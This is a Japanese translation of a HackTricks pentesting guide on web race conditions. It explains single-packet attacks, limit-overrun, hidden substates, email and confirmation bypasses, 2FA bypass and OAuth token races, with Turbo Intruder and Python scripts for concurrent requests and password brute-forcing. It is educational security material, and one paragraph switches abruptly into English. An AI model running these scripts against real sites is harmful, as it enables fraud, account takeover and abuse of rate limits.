hacktricks/pentesting-web/race-condition.md

330 lines
27 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# レースコンディション
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も進んだコミュニティツールを駆使した**ワークフローを簡単に構築し自動化**します。\
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksに広告を掲載**したいですか?または、**PEASSの最新バージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを手に入れましょう。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手しましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのコツを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) と [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>
## RCの悪用
RCを悪用する主な問題は、リクエストが非常に短い時間差通常は>1msで並行して処理される必要があることです。以下のセクションでは、これを可能にするためのさまざまな解決策が提案されています。
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### シングルパケット攻撃HTTP/2/ ラストバイト同期HTTP/1.1
HTTP2では、**1つのTCP接続で2つのリクエストを送信**できますHTTP/1.1では順番に行う必要があります)。\
単一のTCPパケットの使用は、**ネットワークジッターの影響を完全に排除**しますので、これは明らかにレースコンディション攻撃にも有効です。しかし、**サーバーサイドのジッター**のおかげで、**2つのリクエストでは信頼性のあるレース攻撃には不十分**です。これは、CPU競合などの制御不能な変数によって引き起こされるアプリケーションのリクエスト処理時間の変動です。
しかし、HTTP/1.1の「**ラストバイト同期**」技術を使用すると、各リクエストの大部分のデータを事前に送信し、ごくわずかな断片を保留しておき、**1つのTCPパケットで20〜30のリクエストを「完了」**させることが可能です。
**各リクエストの大部分を事前に送信する**には:
* リクエストにボディがない場合は、すべてのヘッダーを送信しますが、END\_STREAMフラグは設定しません。END\_STREAMが設定された空のデータフレームを保留します。
* リクエストにボディがある場合は、ヘッダーとボディデータの最後のバイトを除くすべてを送信します。最後のバイトを含むデータフレームを保留します。
次に、**最終フレームの送信を準備**します:
* 初期フレームが送信されたことを確認するために100ms待ちます。
* TCP\_NODELAYが無効になっていることを確認します - 最終フレームをバッチ処理するためにナグルアルゴリズムが不可欠です。
* ローカル接続を温めるためにピングパケットを送信します。これを行わないと、OSのネットワークスタックは最初の最終フレームを別のパケットに配置します。
最後に、保留していたフレームを送信します。Wiresharkを使用して、それらが単一のパケットに着陸したことを確認できるはずです。
{% hint style="info" %}
特定のサーバー上の静的ファイルには**機能しない**ことに注意してくださいが、静的ファイルはRC攻撃には関係ありません。
{% endhint %}
この技術を使用すると、ネットワークジッターに関係なく、20〜30のリクエストをサーバーに同時に到着させることができます
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ターゲットアーキテクチャへの適応**
多くのアプリケーションはフロントエンドサーバーの背後にあり、これらは一部のリクエストを既存の接続を介してバックエンドに転送し、他のリクエストには新しい接続を作成することを決定する場合があります。
その結果、リソースに一度にアクセスできるのは単一のスレッドのみであるようなロックメカニズムなど、アプリケーションの動作に一貫性のないリクエストタイミングを帰属させないことが重要です。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前に接続を温めることでリクエストタイミングを滑らかにすることができるかもしれません(これは実際の攻撃を開始する前にいくつかのリクエストを送信することです)。
#### セッションベースのロックメカニズム <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
一部のフレームワークは、偶発的なデータ破損を防ぐために、何らかの形の**リクエストロック**を使用しています。例えば、**PHPのネイティブセッションハンドラー**モジュールは、**一度に1つのセッションごとに1つのリクエストのみを処理**します。
このような動作を見つけることは非常に重要です。それがなければ、簡単に悪用できる脆弱性を見逃してしまう可能性があります。すべてのリクエストが順番に処理されていることに気づいた場合は、異なるセッショントークンを使用してそれぞれを送信してみてください。
#### **レートまたはリソース制限の悪用**
接続の温めが何の違いも生まない場合、この問題に対するさまざまな解決策があります。
Turbo Intruderを使用すると、短いクライアント側の遅延を導入できます。ただし、これにより実際の攻撃リクエストを複数のTCPパケットに分割する必要があるため、シングルパケット攻撃技術は使用できません。その結果、高ジッターのターゲットでは、設定する遅延に関係なく、攻撃は信頼性を持って機能しない可能性が高いです。
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
代わりに、一般的なセキュリティ機能を悪用することで、この問題を解決できるかもしれません。
Webサーバーは、あまりにも速く多くのリクエストが送信されると、リクエストの処理を遅らせることがよくあります。大量のダミーリクエストを intentionally trigger the rate or resource limit, you may be able to cause a suitable server-side delay. This makes the single-packet attack viable even when delayed execution is required.
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
{% hint style="warning" %}
この技術についての詳細は、元のレポートをチェックしてください [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
#### 攻撃例
* **Tubo Intruder - HTTP2シングルパケット攻撃1エンドポイント**: リクエストを**Turbo intruder**に送信できます(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)、リクエストでブルートフォースしたい値を**`%s`**のように変更できます。例えば`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のようにして、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
異なる値を**送信する予定がある**場合は、クリップボードからのワードリストを使用するこのコードで変更できます:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
WebがHTTP2をサポートしていない場合HTTP1.1のみの場合)、`Engine.BURP2`の代わりに`Engine.THREADED`または`Engine.BURP`を使用してください。
{% endhint %}
* **Tubo Intruder - HTTP2シングルパケット攻撃複数のエンドポイント**: 1つのエンドポイントにリクエストを送り、その後RCEをトリガーするために他のエンドポイントに複数のリクエストを送る必要がある場合、`race-single-packet-attack.py`スクリプトを次のように変更できます:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
### Raw BF
以前の研究より前には、RCを引き起こすためにできるだけ早くパケットを送信しようとするペイロードがいくつか使用されていました。
* **Repeater:** 前のセクションの例を確認してください。
* **Intruder**: **リクエスト**を**Intruder**に送り、**オプションメニュー**内で**スレッド数**を**30**に設定し、ペイロードとして**Null payloads**を選択し、**30**を生成します。
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **RC 方法論**
### Limit-overrun / TOCTOU
これは、**アクションを実行できる回数に制限がある場所に現れる脆弱性**がある最も基本的なタイプのレースコンディションです。例えば、ウェブストアで同じ割引コードを何度も使用することです。非常に簡単な例は[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)で見つけることができます。
この種の攻撃には多くのバリエーションがあります。これには以下が含まれます:
* ギフトカードを複数回償還する
* 製品を複数回評価する
* 口座残高を超えて現金を引き出すまたは転送する
* 単一のCAPTCHAソリューションを再利用する
* アンチブルートフォースレート制限をバイパスする
### **隠されたサブステート**
より複雑なRCは、攻撃者が**アクセスすることを意図されていなかった**状態を**悪用**することができる**マシン状態のサブステート**を悪用しますが、攻撃者がそれにアクセスするための**小さなウィンドウ**があります。
1. **潜在的な隠された興味深いサブステートを予測する**
最初のステップは、それに書き込むか、またはそれからデータを読み取り、そのデータを何か重要なことに使用するすべてのエンドポイントを特定することです。例えば、ユーザーは登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更されるデータベーステーブルに格納されるかもしれません。
衝突を引き起こす可能性が低いエンドポイントを除外するために、3つの重要な質問を使用できます。各オブジェクトと関連するエンドポイントについて、次のことを尋ねます
* **状態はどのように保存されますか?**
サーバー側の永続的なデータ構造に保存されたデータは、悪用に理想的です。一部のエンドポイントは、JWTをメールで送信するパスワードリセットのように、その状態を完全にクライアント側で保存します - これらは安全にスキップできます。
アプリケーションはしばしばいくつかの状態をユーザーセッションに保存します。これらはしばしばサブステートに対してある程度保護されています - 後で詳しく説明します。
* **編集していますか、それとも追加していますか?**
既存のデータを編集する操作例えば、アカウントの主要なメールアドレスを変更するは、衝突の可能性が十分にありますが、既存のデータに単に追加する操作例えば、追加のメールアドレスを追加するは、Limit-overrun攻撃以外には脆弱である可能性が低いです。
* **操作は何に基づいていますか?**
ほとんどのエンドポイントは、ユーザー名、パスワードリセットトークン、またはファイル名などの「キー」を使用して検索される特定のレコードに対して操作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。例えば、2つのありそうなパスワードリセットの実装を想像してみてください
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2. **手がかりを探る**
この時点で、興味深いエンドポイントに対していくつかのRC攻撃を**開始し**、通常のものと比較して予期しない結果を見つけようとします。**期待される応答からの逸脱**、例えば1つ以上の応答の変更、またはセッションの可視的な変更のような二次効果は、何かが間違っていることを示す手がかりになる可能性があります。
3. **コンセプトを証明する**
最後のステップは、**コンセプトを証明し、それを実行可能な攻撃に変える**ことです。
一連のリクエストを送信すると、早い段階のリクエストペアが脆弱なエンドステートを引き起こす可能性がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は悪用できないものになります。このシナリオでは、不要なリクエストをすべて排除する必要があります - ほとんどの脆弱性を悪用するには2つで十分です。ただし、リクエストを2つに減らすと攻撃のタイミングが敏感になるため、攻撃を複数回試行するか、自動化する必要があるかもしれません。
### タイムセンシティブ攻撃
時にはレースコンディションを見つけることができないかもしれませんが、**正確なタイミングでリクエストを送信する技術**は他の脆弱性の存在を明らかにすることができます。
その一例は、**高解像度のタイムスタンプがセキュリティトークンを生成するために暗号学的に**安全なランダム文字列の代わりに使用される場合です。
**タイムスタンプを使用してランダム化されるパスワードリセットトークン**を考えてみてください。この場合、**同じトークン**を使用する2つの異なるユーザーのパスワードリセットを**トリガー**することが可能かもしれません。必要なのは、同じタイムスタンプを生成するようにリクエストをタイミングすることだけです。
{% hint style="warning" %}
例えば前述の状況を確認するには、**同時に2つのパスワードリセットトークンを要求する**(シングルパケット攻撃を使用して)ことができ、それらが**同じ**かどうかを確認します。
{% endhint %}
[**このラボの例**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)をチェックしてください。
## 隠されたサブステートのケーススタディ
### 支払い & アイテム追加
[**このラボをチェックして**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)、店で**支払い**を行い、それに対して**追加料金を支払う必要がない**アイテムを**追加**する方法を見てください。
### 他のメールを確認する
このアイデアは、**メールアドレスを確認し、同時に異なるものに変更する**ことで、プラットフォームが新しく変更されたものを検証するかどうかを確認することです。
### 2つのメールアドレスに変更する Cookieベース
[**このライトアップによると**](https://portswigger.net/research/smashing-the-state-machine)、Gitlabはこの方法で乗っ取りに脆弱でした。なぜなら、**一方のメールのメール検証トークンを他方のメールに送信する**可能性があるからです。
また、[**このラボ**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)をチェックして、これについて学ぶことができます。
### 隠されたデータベース状態 / 確認バイパス
**2つの異なる書き込み**が使用されて**データベース**内に**情報を追加**する場合、**最初のデータが書き込まれた後の**小さな時間があります。例えば、ユーザーを作成するときに、**ユーザー名**と**パスワード**が**書き込まれ**、**その後新しく作成されたアカウントを確認するためのトークン**が書き込まれます。これは、アカウントを確認するための**トークンがnullである**小さな時間があることを意味します。
したがって、**アカウントを登録し、空のトークン**`token=`や`token[]=`またはその他のバリエーション)を使用してすぐにアカウントを確認するために複数のリクエストを送信することで、メールを制御していないアカウントを**確認する**ことができるかもしれません。
[**このラボ**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)をチェックして例を確認してください。
### 2FAをバイパスする
次の擬似コードは、ウェブサイトがこの攻撃のレースバリエーションに脆弱である方法を示しています:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
以下は、単一のリクエストの範囲内での**複数ステップのシーケンス**であることがわかります。最も重要なのは、**ユーザーが一時的に有効なログインセッションを持っている**が、**まだMFAが強制されていない**というサブステートを経由することです。攻撃者は、ログインリクエストとともに機密性の高い認証済みエンドポイントへのリクエストを送信することで、これを悪用する可能性があります。
### OAuth2 永続性
いくつかの[**OAuthプロバイダー**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)があります。これらのサービスでは、アプリケーションを作成し、プロバイダーが登録しているユーザーを認証することができます。これを行うためには、**クライアント**は**OAuthプロバイダー**内のデータの一部にアプリケーションがアクセスすることを許可する必要があります。\
ここまでは、google/linkdin/github...での一般的なログインで、"_アプリケーション\<InsertCoolName>があなたの情報にアクセスしたいと思っています。許可しますか_"というページが表示されます。
#### `authorization_code`のレースコンディション
**問題**は、それを**受け入れる**と自動的に**`authorization_code`**が悪意のあるアプリケーションに送信されることです。その後、この**アプリケーションはOAuthサービスプロバイダーのレースコンディションを悪用して、あなたのアカウントの**`authorization_code`**から複数のAT/RT** (_認証トークン/リフレッシュトークン_)を生成します。基本的に、アプリケーションがあなたのデータにアクセスすることを受け入れた事実を悪用して**複数のアカウントを作成します**。そして、アプリケーションがあなたのデータにアクセスすることを**停止すると、一組のAT/RTは削除されますが、他のものは有効のままです**。
#### `Refresh Token`のレースコンディション
有効なRTを**取得したら**、それを悪用して複数のAT/RTを生成しようと試みることができ、**ユーザーが悪意のあるアプリケーションのデータアクセス許可をキャンセルしても**、**複数のRTが有効のままです**。
## **WebSocketsのRC**
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)では、JavaでのPoCを見つけることができ、WebSocketメッセージを**並行して**送信して**Web Socketsでもレースコンディションを悪用します**。
## 参考文献
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksにあなたの会社を広告したいですか** または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**にフォローしてください。**
* **ハッキングのトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
世界で**最も進んだ**コミュニティツールを駆使して**ワークフローを簡単に構築し自動化する**ために[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用してください。\
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}